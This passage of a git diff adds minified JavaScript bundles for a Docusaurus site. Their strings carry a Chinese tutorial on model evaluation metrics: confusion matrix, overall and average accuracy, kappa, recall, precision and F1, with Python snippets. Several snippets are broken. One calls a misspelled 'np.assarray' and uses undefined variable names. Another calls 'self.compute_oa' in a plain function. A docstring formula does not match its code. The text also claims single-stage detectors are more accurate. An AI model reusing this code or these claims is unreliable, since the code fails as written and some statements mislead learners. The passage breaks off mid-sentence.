RCNN\uff0cSPPNet\uff09\u7cfb\u5217\u3002\u4e00\u822c\u800c\u8a00\uff0c\u4e24\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u5177\u6709\u8f83\u9ad8\u7684\u68c0\u6d4b\u7cbe\u5ea6\uff0c\u800c\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u5177\u6709\u66f4\u9ad8\u7684\u7cbe\u5ea6\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u540c\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u65e0\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u5206\u4e3a\u57fa\u4e8e\u76ee\u6807\u70b9\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u548c\u57fa\u4e8e\u5185\u90e8\u70b9\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u3002\n\u7aef\u5230\u7aef\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5"})]})}function o(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/4cf38676.a6df3938.js b/assets/js/4cf38676.a6df3938.js new file mode 100644 index 0000000..0810665 --- /dev/null +++ b/assets/js/4cf38676.a6df3938.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2640],{28453:(n,e,r)=>{r.d(e,{R:()=>s,x:()=>a});var i=r(96540);const l={},t=i.createContext(l);function s(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function a(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:s(n.components),i.createElement(t.Provider,{value:e},n.children)}},57668:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>c,contentTitle:()=>a,default:()=>o,frontMatter:()=>s,metadata:()=>i,toc:()=>p});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","title":"0.2 \u8bc4\u4ef7\u6307\u6807.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2"},"next":{"title":"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60"}}');var l=r(74848),t=r(28453);const s={},a="0.2 \u8bc4\u4ef7\u6307\u6807.md",c={},p=[{value:"\u6df7\u6dc6\u77e9\u9635",id:"\u6df7\u6dc6\u77e9\u9635",level:2},{value:"Overall Accuracy",id:"overall-accuracy",level:2},{value:"Average accuracy",id:"average-accuracy",level:2},{value:"Kappa\u7cfb\u6570",id:"kappa\u7cfb\u6570",level:2},{value:"Recall",id:"recall",level:2},{value:"Precision",id:"precision",level:2},{value:"F1",id:"f1",level:2},{value:"PR\u66f2\u7ebf",id:"pr\u66f2\u7ebf",level:2},{value:"\u7f6e\u4fe1\u5ea6",id:"\u7f6e\u4fe1\u5ea6",level:2},{value:"IOU",id:"iou",level:2},{value:"AP",id:"ap",level:2},{value:"mAP",id:"map",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"02-\u8bc4\u4ef7\u6307\u6807md",children:"0.2 \u8bc4\u4ef7\u6307\u6807.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(e.table,{children:[(0,l.jsx)(e.thead,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(e.tbody,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.td,{style:{textAlign:"left"},children:(0,l.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(e.table,{children:[(0,l.jsx)(e.thead,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(e.tbody,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.td,{style:{textAlign:"left"},children:(0,l.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,l.jsx)(e.h1,{id:"\u6a21\u578b\u8bc4\u4ef7\u6307\u6807",children:"\u6a21\u578b\u8bc4\u4ef7\u6307\u6807"}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u6211\u4eec\u5b66\u4e60\u673a\u5668\u5b66\u4e60\u4ee5\u53ca\u6df1\u5ea6\u5b66\u4e60\uff0c\u751a\u81f3\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u9886\u57df\uff0c\u6211\u4eec\u4e0d\u53ef\u907f\u514d\u7684\u8981\u5229\u7528\u4e00\u4e9b\u6307\u6807\u8bc4\u4ef7\u6a21\u578b\uff0c\u5728\u672c\u5c0f\u8282\u4e2d\uff0c\u6211\u4eec\u4ecb\u7ecd\u4e86\u6a21\u578b\u76f8\u5173\u8bc4\u4ef7\u6307\u6807\uff0c"}),"\n",(0,l.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60 \uff0c\u6211\u4eec\u5c06\u4f1a\u5b66\u4e60\u5230\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"\u6a21\u578b\u5e38\u7528\u7684\u76f8\u5173\u8bc4\u4ef7\u6307\u6807"}),"\n",(0,l.jsx)(e.li,{children:"\u4e0d\u540c\u8bc4\u4ef7\u6307\u6807\u7684\u9002\u5e94\u6027\u4ee5\u53ca\u4f18\u7f3a\u70b9"}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"\u6df7\u6dc6\u77e9\u9635",children:"\u6df7\u6dc6\u77e9\u9635"}),"\n",(0,l.jsxs)(e.p,{children:["\u6df7\u6dc6\u77e9\u9635\uff08\u4e5f\u79f0\u8bef\u5dee\u77e9\u9635\uff09\u662f\u673a\u5668\u5b66\u4e60\u548c\u6df1\u5ea6\u5b66\u4e60\u4e2d\u8868\u793a\u7cbe\u5ea6\u8bc4\u4ef7\u7684\u4e00\u79cd\u6807\u51c6\u683c\u5f0f\uff0c\u5e38\u7528n\u884cn\u5217\u7684\u77e9\u9635\u5f62\u5f0f\u6765\u8868\u793a\u3002\u5176\u5217\u4ee3\u8868\u7684\u662f\u9884\u6d4b\u7684\u7c7b\u522b\uff0c\u884c\u4ee3\u8868\u7684\u662f\u5b9e\u9645\u7684\u7c7b\u6807\uff0c\u4ee5\u4e00\u4e2a\u5e38\u89c1\u7684\u4e8c\u5206\u7c7b\u7684\u6df7\u6dc6\u77e9\u9635\u4e3a\u4f8b\u3002\u6211\u4eec\u4f1a\u53d1\u73b0\u4e8c\u5206\u7c7b\u7684\u6df7\u6dc6\u77e9\u9635\u5305\u62ec",(0,l.jsx)(e.strong,{children:"TP, FP, FN, TN"}),"\uff0c\u5176\u4e2dTP\u4e3aTrue Positive\uff0cTrue\u4ee3\u8868\u5b9e\u9645\u548c\u9884\u6d4b\u76f8\u540c\uff0cPositive\u4ee3\u8868\u9884\u6d4b\u4e3a\u6b63\u6837\u672c\u3002\u540c\u7406\u53ef\u5f97\uff0cFalse Positive (FP)\u4ee3\u8868\u7684\u662f\u5b9e\u9645\u7c7b\u522b\u548c\u9884\u6d4b\u7c7b\u6807\u4e0d\u540c\uff0c\u5e76\u4e14\u9884\u6d4b\u7c7b\u522b\u4e3a\u6b63\u6837\u672c\uff0c\u5b9e\u9645\u7c7b\u522b\u4e3a\u8d1f\u6837\u672c\uff1bFalse Negative (FN)\u4ee3\u8868\u7684\u662f\u5b9e\u9645\u7c7b\u522b\u548c\u9884\u6d4b\u7c7b\u6807\u4e0d\u540c\uff0c\u5e76\u4e14\u9884\u6d4b\u7c7b\u522b\u4e3a\u8d1f\u6837\u672c\uff0c\u5b9e\u9645\u7c7b\u522b\u4e3a\u6b63\u6837\u672c\uff1bTrue Negative (TN)\u4ee3\u8868\u7684\u662f\u5b9e\u9645\u7c7b\u522b\u548c\u9884\u6d4b\u7c7b\u6807\u76f8\u540c\uff0c\u9884\u6d4b\u7c7b\u522b\u548c\u5b9e\u9645\u7c7b\u522b\u5747\u4e3a\u8d1f\u6837\u672c\u3002"]}),"\n",(0,l.jsx)(e.img,{src:"figures/confusion_matrix.png",align:"center",style:{zoom:"50%"}}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u8fd9\u91cc\u6211\u4eec\u4ee5\u4e00\u4e2a\u4e8c\u5206\u7c7b\u7684\u4f8b\u5b50\u6765\u5e2e\u52a9\u5927\u5bb6\u7406\u89e3\u3002\u5047\u8bbe\u6211\u4eec\u662f\u67d0\u6838\u9178\u68c0\u6d4b\u673a\u6784\uff0c\u5c06\u5bf9100\u4e2a\u4eba\u8fdb\u884c\u6838\u9178\u68c0\u6d4b\uff0c\u5b9e\u9645\u7ed3\u679c\u4e3a98\u4e2a\u9634\u6027\uff0c2\u4e2a\u9633\u6027\uff0c\u4f46\u662f\u6211\u4eec\u7684\u6a21\u578b\u5bf9\u6838\u9178\u68c0\u6d4b\u7ed3\u679c\u8fdb\u884c\u9884\u6d4b\uff0c\u9884\u6d4b\u7ed3\u679c\u4e3a94\u4e2a\u9634\u6027\uff0c6\u4e2a\u9633\u6027\u7ed3\u679c\uff0c\u5728\u8fd9\u91cc\u6211\u4eec\u5b9a\u4e49\u6838\u9178\u7ed3\u679c\u9634\u6027\u4e3a\u6b63\u6837\u672c\uff0c\u6838\u9178\u7ed3\u679c\u9633\u6027\u4e3a\u8d1f\u6837\u672c\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0cTP\u4ee3\u8868\u5b9e\u9645\u4e3a\u9634\u6027\u4e14\u88ab\u9884\u6d4b\u4e3a\u9634\u6027\u7684\u6570\u91cf\uff0c\u5171\u670994\u4eba\uff1bFP\u4ee3\u8868\u5b9e\u9645\u4e3a\u9633\u6027\uff0c\u6a21\u578b\u9884\u6d4b\u4e3a\u9634\u6027\u7684\u6570\u91cf\uff0c\u5171\u67090\u4eba\uff1bFN\u4ee3\u8868\u5b9e\u9645\u4e3a\u9634\u6027\u88ab\u6a21\u578b\u5224\u65ad\u4e3a\u9633\u6027\u7684\u6570\u91cf\uff0c\u5171\u67094\u4eba\uff1bTN\u4ee3\u8868\u5b9e\u9645\u4e3a\u9633\u6027\uff0c\u88ab\u6a21\u578b\u8bc6\u522b\u4e3a\u9633\u6027\u7684\u6570\u91cf\uff0c\u5171\u67092\u4eba\u3002 \u4e8e\u662f\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u4e0b\u9762\u7684\u8fd9\u4e2a\u6df7\u6dc6\u77e9\u9635\u3002"}),"\n",(0,l.jsx)(e.p,{children:"$$\n\\begin{bmatrix}\n94 & 0 \\\n4 & 2\n\\end{bmatrix} \\tag{2}\n$$"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u5728\u6b64\u4e5f\u5c55\u793a\u4e00\u4e2a10\u7c7b\u6807+1\u4e2a\u80cc\u666f\u6240\u4ea7\u751f\u7684\u5f52\u4e00\u5316\u7684\u6df7\u6dc6\u77e9\u9635"}),"\n",(0,l.jsx)(e.img,{src:"figures/normalized_confusion_matrix.png",align:"center",style:{zoom:"50%"}}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u62e5\u6709\u6df7\u6dc6\u77e9\u9635\u540e\uff0c\u53ef\u4ee5\u8ba1\u7b97Accuracy\uff0cPrecision\uff0cRecall\uff0cF1 Score\u7b49\u8861\u91cf\u6a21\u578b\u7684\u8bc4\u4ef7\u6307\u6807\u3002\u5173\u4e8e\u6df7\u6dc6\u77e9\u9635\u7684\u4ee3\u7801\u5b9e\u73b0\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"sklearn.metrics.confusion_matrix()"}),"\u51fd\u6570\u8fdb\u884c\u8ba1\u7b97"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:"from sklearn.metrics import confusion_matrix\ndef compute_confusion_matrix(labels,pred_labels_list,gt_labels_list):\n pred_labels_list = np.asarray(pred_labels_list)\n gt_labels_list = np.assarray(gt_labels_list)\n matrix = confusion_matrix(test_label_list,\n pred_label_list,\n labels=labels)\n return matrix\n"})}),"\n",(0,l.jsx)(e.h2,{id:"overall-accuracy",children:"Overall Accuracy"}),"\n",(0,l.jsx)(e.p,{children:"Overall Accuracy\u4ee3\u8868\u4e86\u6240\u6709\u9884\u6d4b\u6b63\u786e\u7684\u6837\u672c\u5360\u6240\u6709\u9884\u6d4b\u6837\u672c\u603b\u6570\u7684\u6bd4\u4f8b\uff0c\u7ed3\u5408\u4e0a\u8ff0\u4f8b\u5b50\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u4e0b\u8ff0\u516c\u5f0f\u8868\u793a\uff1a\n$$\n\\rm{OA} =\\frac{\\rm{TP+TN}}{\\rm{TP+TN+FP+FN}} = \\frac{N_{correct}}{N_{total}}\n$$\n\u8fd9\u91cc\u7684\u5206\u7c7b\u6b63\u786e\u4ee3\u8868\u4e86\u6b63\u6837\u672c\u88ab\u6b63\u786e\u5206\u7c7b\u4e3a\u6b63\u6837\u672c\uff0c\u8d1f\u6837\u672c\u6b63\u786e\u5206\u7c7b\u4e3a\u8d1f\u6837\u672c\u3002\u51c6\u786e\u7387\u662f\u63cf\u8ff0\u6a21\u578b\u6700\u7b80\u5355\u7684\u6307\u6807\uff0cAcc\u7684\u7f3a\u70b9\u4e3b\u8981\u5728\u4e8e\u5047\u5982\u8bf4\u6211\u4eec\u4e3e\u5f97\u4f8b\u5b50\uff0c\u5728\u6837\u672c\u4e2d\uff0c\u6838\u9178\u7ed3\u679c\u6210\u9634\u6027\u5360\u636e\u4e86\u6a21\u578b98%\uff0c\n\u5047\u5982\u8bf4\u6a21\u578b\u4e0d\u8c03\u8bd5\u5206\u7c7b\uff0c\u6211\u53ea\u8981\u4e00\u76f4\u5224\u65ad\u6838\u9178\u7ed3\u679c\u5448\u9634\u6027\uff0c\u90a3\u6211\u4eec\u7684\u6a21\u578b\u6700\u7ec8\u6548\u679c\u53ef\u80fd\u4f1a\u66f4\u597d\uff0c\u4f46\u662f\u5b9e\u9645\u4e0a\u6a21\u578b\u7684\u6548\u7387\u4ee5\u53ca\u51c6\u786e\u7387\u90fd\u662f\u975e\u5e38\u4f4e\u4e0b\u7684\u3002\u5f53\u6211\u4eec\u7684\u6837\u672c\u6b63\u8d1f\u6837\u672c\u6781\u7aef\u4e0d\u5e73\u8861\u65f6Acc\u8fd9\u4e2a\u8bc4\u4ef7\u6307\u6807\u5176\u5b9e\u662f\u6ca1\u6709\u610f\u4e49\u7684\u3002\u6211\u4eec\u518d\u56de\u5230\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u53ef\u4ee5\u8ba1\u7b97\u5728\u8be5\u4f8b\u5b50\u4e2dAcc = 0.96.\n$$\nOA=\\frac{\\rm{TP+TN}}{100}= \\frac{96}{100}= 0.96\n$$"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:'def compute_oa(matrix):\n """\n \u8ba1\u7b97\u603b\u4f53\u51c6\u786e\u7387,OA=(TP+TN)/(TP+TN+FP+FN)\n :param matrix:\n :return:\n """\n return np.trace(matrix) / np.sum(matrix)\n'})}),"\n",(0,l.jsx)(e.h2,{id:"average-accuracy",children:"Average accuracy"}),"\n",(0,l.jsx)(e.p,{children:"Average accuracy( AA) \u4ee3\u8868\u7684\u662f\u5e73\u5747\u7cbe\u5ea6\u7684\u8ba1\u7b97\uff0c\u5e73\u5747\u7cbe\u5ea6\u8ba1\u7b97\u7684\u662f\u6bcf\u4e00\u7c7b\u9884\u6d4b\u6b63\u786e\u7684\u6837\u672c\u4e0e\u8be5\u7c7b\u603b\u4f53\u6570\u91cf\u4e4b\u95f4\u7684\u6bd4\u503c\uff0c\u6700\u7ec8\u518d\u53d6\u6bcf\u4e00\u7c7b\u7684\u7cbe\u5ea6\u7684\u5e73\u5747\u503c\u3002\u4ee3\u7801\u5b9e\u73b0\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528numpy\u7684diag\u5c06\u6df7\u6dc6\u77e9\u9635\u7684\u5bf9\u89d2\u7ebf\u5143\u7d20\u53d6\u51fa\uff0c\u5e76\u4e14\u5bf9\u4e8e\u6df7\u6dc6\u77e9\u9635\u8fdb\u884c\u5217\u6c42\u548c\uff0c\u7528\u5bf9\u89d2\u7ebf\u5143\u7d20\u9664\u4ee5\u6c42\u548c\u540e\u7684\u7ed3\u679c\uff0c\u6700\u540e\u5bf9\u7ed3\u679c\u8ba1\u7b97\u6c42\u51fa\u5e73\u5747\u503c\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:'def compute_aa(matrix):\n """\n \u8ba1\u7b97\u6bcf\u4e00\u7c7b\u7684\u51c6\u786e\u7387,AA=(TP/(TP+FN)+TN/(FP+TN))/2\n :param matrix:\n :return:\n """\n return np.mean(np.diag(matrix) / np.sum(matrix, axis=1))\n'})}),"\n",(0,l.jsx)(e.h2,{id:"kappa\u7cfb\u6570",children:"Kappa\u7cfb\u6570"}),"\n",(0,l.jsx)(e.p,{children:"Kappa\u7cfb\u6570\u662f\u4e00\u4e2a\u7528\u4e8e\u4e00\u81f4\u6027\u68c0\u9a8c\u7684\u6307\u6807\uff0c\u4e5f\u53ef\u4ee5\u7528\u4e8e\u8861\u91cf\u5206\u7c7b\u7684\u6548\u679c\u3002\u5bf9\u4e8e\u5206\u7c7b\u95ee\u9898\u800c\u8a00\uff0c\u4e00\u81f4\u6027\u5c31\u662f\u6a21\u578b\u9884\u6d4b\u7ed3\u679c\u548c\u5b9e\u9645\u5206\u7c7b\u7ed3\u679c\u662f\u5426\u4e00\u81f4\u3002kappa\u7cfb\u6570\u7684\u8ba1\u7b97\u540c\u6837\u4e5f\u662f\u57fa\u4e8e\u6df7\u6dc6\u77e9\u9635\u8fdb\u884c\u8ba1\u7b97\uff0c\u53d6\u503c\u4e3a-1\u52301\u4e4b\u95f4,\u901a\u5e38\u5927\u4e8e0\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u4e0b\u8ff0\u516c\u5f0f\u8fdb\u884c\u8ba1\u7b97\uff1a\n$$\nkappa = \\frac{p_o-p_e}{1-p_e}\\\np_o = OA\\\np_e = \\frac{\\sum_{i} (x_i \\cdot x_j)}{(\\sum_{j=0}^n\\sum_{i=0}^{n} x_{ij})^2}\n$$"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:'def compute_kappa(matrix):\n """\n \u8ba1\u7b97kappa\u7cfb\u6570\n :param matrix:\n :return:\n """\n oa = self.compute_oa(matrix)\n pe = 0\n for i in range(len(matrix)):\n pe += np.sum(matrix[i]) * np.sum(matrix[:, i])\n pe = pe / np.sum(matrix) ** 2\n return (oa - pe) / (1 - pe)\n'})}),"\n",(0,l.jsx)(e.h2,{id:"recall",children:"Recall"}),"\n",(0,l.jsx)(e.p,{children:"Recall\u4e5f\u79f0\u53ec\u56de\u7387\uff0c\u4ee3\u8868\u4e86\u5b9e\u9645\u4e3a\u6b63\u6837\u672c\u5e76\u4e14\u4e5f\u88ab\u6b63\u786e\u8bc6\u522b\u4e3a\u6b63\u6837\u672c\u7684\u6570\u91cf\u5360\u6837\u672c\u4e2d\u6240\u6709\u4e3a\u6b63\u6837\u672c\u7684\u6bd4\u4f8b\uff0c\u53ef\u4ee5\u7528\u4e0b\u8ff0\u516c\u5f0f\u8fdb\u884c\u8868\u793a\n$$\n\\rm{Recall} = \\frac{\\rm{TP}}{\\rm{TP + FN}}\n$$"}),"\n",(0,l.jsx)(e.p,{children:"Recall\u662f\u5224\u65ad\u6a21\u578b\u6b63\u786e\u8bc6\u522b\u6240\u6709\u6b63\u6837\u672c\u7684\u80fd\u529b\u3002\u7ed3\u5408\u6211\u4eec\u6240\u4e3e\u7684\u4f8b\u5b50\uff0c\u4ee3\u8868\u4e86\u6a21\u578b\u5bf9\u4e8e\u6b63\u6837\u672c\u7684\u8bc6\u522b\u80fd\u529b\uff0c\u4e5f\u80fd\u8f83\u597d\u7684\u53cd\u5e94\u6a21\u578b\u7684\u4f18\u52a3\u3002\u4e0ePrecision\u4e0d\u540c\u7684\u662f\uff0c\u6211\u4eec\u662f\u53cd\u6620\u4e86\u6a21\u578b\u9884\u6d4b\u65f6\u5019\u6709\u591a\u5c11\u9634\u6027\uff08\u6b63\u6837\u672c\uff09\u88ab\u68c0\u6d4b\u51fa\u6765\u3002\u5728\u4f8b\u5b50\u4e2d\u4ee3\u8868\u4e86\u5b9e\u9645\u4e3a\u9634\u6027\u88ab\u6a21\u578b\u6b63\u786e\u5224\u65ad\u4e3a\u9634\u6027\u7684\u6570\u91cf\u5360\u5b9e\u9645\u4e3a\u9634\u6027\u7684\u6bd4\u4f8b\uff0c\u5373\n$$\n\\rm{Recall} = \\frac{94}{98}=0.959\n$$"}),"\n",(0,l.jsx)(e.h2,{id:"precision",children:"Precision"}),"\n",(0,l.jsx)(e.p,{children:"Precision\u4e5f\u79f0\u7cbe\u51c6\u7387\uff0c\u4ee3\u8868\u7684\u662f\u5728\u5168\u90e8\u9884\u6d4b\u4e3a\u6b63\u7684\u7ed3\u679c\u4e2d\uff0c\u88ab\u9884\u6d4b\u6b63\u786e\u7684\u6b63\u6837\u672c\u6240\u5360\u7684\u6bd4\u4f8b\uff0c\u53ef\u4ee5\u7528\u4e0b\u8ff0\u516c\u5f0f\u8fdb\u884c\u8868\u793a\n$$\n\\rm{Precision} = \\frac{\\rm{TP}}{\\rm{TP + FP}}\n$$\nFP\u4ee3\u8868\u4e86\u9633\u6027\u60a3\u8005\u88ab\u9884\u6d4b\u4e3a\u9634\u6027\uff08\u6b63\u6837\u672c\uff09\uff0cTP\u4ee3\u8868\u4e86\u9634\u6027\u88ab\u6b63\u786e\u9884\u6d4b\u4e3a\u9634\u6027\u3002\u76f8\u8f83\u4e8eAcc\uff0cPrecision\u66f4\u80fd\u8f83\u597d\u7684\u53cd\u5e94\u51fa\u6a21\u578b\u5bf9\u4e8e\u6b63\u6837\u672c\uff08\u9634\u6027\uff09\u8bc6\u522b\u80fd\u529b\u3002\u548cRecall\u4e0d\u540c\u7684\u662f\uff0cPrecision\u4ee3\u8868\u4e86\u9884\u6d4b\u7ed3\u679c\u4e2d\u6709\u591a\u5c11\u6837\u672c\u662f\u5206\u7c7b\u6b63\u786e\u7684\u3002\n\u5728\u5b9e\u9645\u5e94\u7528\u573a\u666f\u4e2d\uff0c\u6211\u4eec\u7ee7\u7eed\u7ed3\u5408\u6838\u9178\u7684\u4f8b\u5b50\uff0c\u5f53\u6211\u4eec\u5728\u8fdb\u884c\u5168\u9762\u6838\u9178\u68c0\u6d4b\u65f6\uff0c\u6211\u4eec\u7684\u5e0c\u671b\u5728\u4e8e\u6a21\u578b\u5c3d\u53ef\u80fd\u5c11\u7684\u6f0f\u6389\u9633\u6027\u60a3\u8005\uff0c\u6b64\u65f6\u8ba4\u4e3a\u6a21\u578bPrecision\u663e\u5f97\u66f4\u4e3a\u91cd\u8981\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"f1",children:"F1"}),"\n",(0,l.jsx)(e.p,{children:"$$\n\\rm{F_1} = 2\\cdot\\frac{P\\times R}{P+R} = \\frac{2TP}{FP+FN+2TP}\n$$"}),"\n",(0,l.jsx)(e.p,{children:"F1\u5728\u6a21\u578b\u8bc4\u4f30\u4e2d\u4e5f\u662f\u4e00\u79cd\u91cd\u8981\u7684\u8bc4\u4ef7\u6307\u6807\uff0cF1\u53ef\u4ee5\u89e3\u91ca\u4e3a\u53ec\u56de\u7387\uff08Recall\uff09\u548cP\uff08\u7cbe\u786e\u7387\uff09\u7684\u52a0\u6743\u5e73\u5747\uff0cF1\u8d8a\u9ad8\uff0c\u8bf4\u660e\u6a21\u578b\u9c81\u68d2\u6027\u8d8a\u597d\u3002\u4eba\u4eec\u5e0c\u671b\u6709\u4e00\u79cd\u66f4\u52a0\u5e7f\u4e49\u7684\u65b9\u6cd5\u5b9a\u4e49F-score\uff0c\u5e0c\u671b\u53ef\u4ee5\u6539\u53d8P\u548cR\u7684\u6743\u91cd\uff0c\u4e8e\u662f\u4eba\u4eec\u5b9a\u4e49\u4e86$F_{\\beta}$\uff0c\u5176\u5b9a\u4e49\u5f0f\u5982\u4e0b\uff1a\n$$\n\\rm{F_{\\beta}}=\\frac{\\left(1+\\beta^{2}\\right) \\times P \\times R}{\\left(\\beta^{2} \\times P\\right)+R}\n$$"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"\u5f53 $\\beta$ > 1 \u65f6\uff0c\u66f4\u504f\u597d\u53ec\u56de(Recall)"}),"\n",(0,l.jsx)(e.li,{children:"\u5f53 $\\beta$ < 1 \u65f6\uff0c\u66f4\u504f\u597d\u7cbe\u51c6(Precision)"}),"\n",(0,l.jsx)(e.li,{children:"\u5f53 $\\beta$ = 1 \u65f6\uff0c\u5e73\u8861\u7cbe\u51c6\u548c\u53ec\u56de\uff0c\u5373\u4e3a F1"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u5f53\u6709\u591a\u4e2a\u6df7\u6dc6\u77e9\u9635\uff08\u591a\u6b21\u8bad\u7ec3\u3001\u591a\u4e2a\u6570\u636e\u96c6\u3001\u591a\u5206\u7c7b\u4efb\u52a1\uff09\u65f6\uff0c\u6709\u4e24\u79cd\u65b9\u5f0f\u4f30\u7b97 \u201c\u5168\u5c40\u201d \u6027\u80fd\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"macro \u65b9\u6cd5\uff1a\u5148\u8ba1\u7b97\u6bcf\u4e2a PR\uff0c\u53d6\u5e73\u5747\u540e\uff0c\u518d\u8ba1\u7b97 F1"}),"\n",(0,l.jsx)(e.li,{children:"micro \u65b9\u6cd5\uff1a\u5148\u8ba1\u7b97\u6df7\u6dc6\u77e9\u9635\u5143\u7d20\u7684\u5e73\u5747\uff0c\u518d\u8ba1\u7b97 PR \u548c 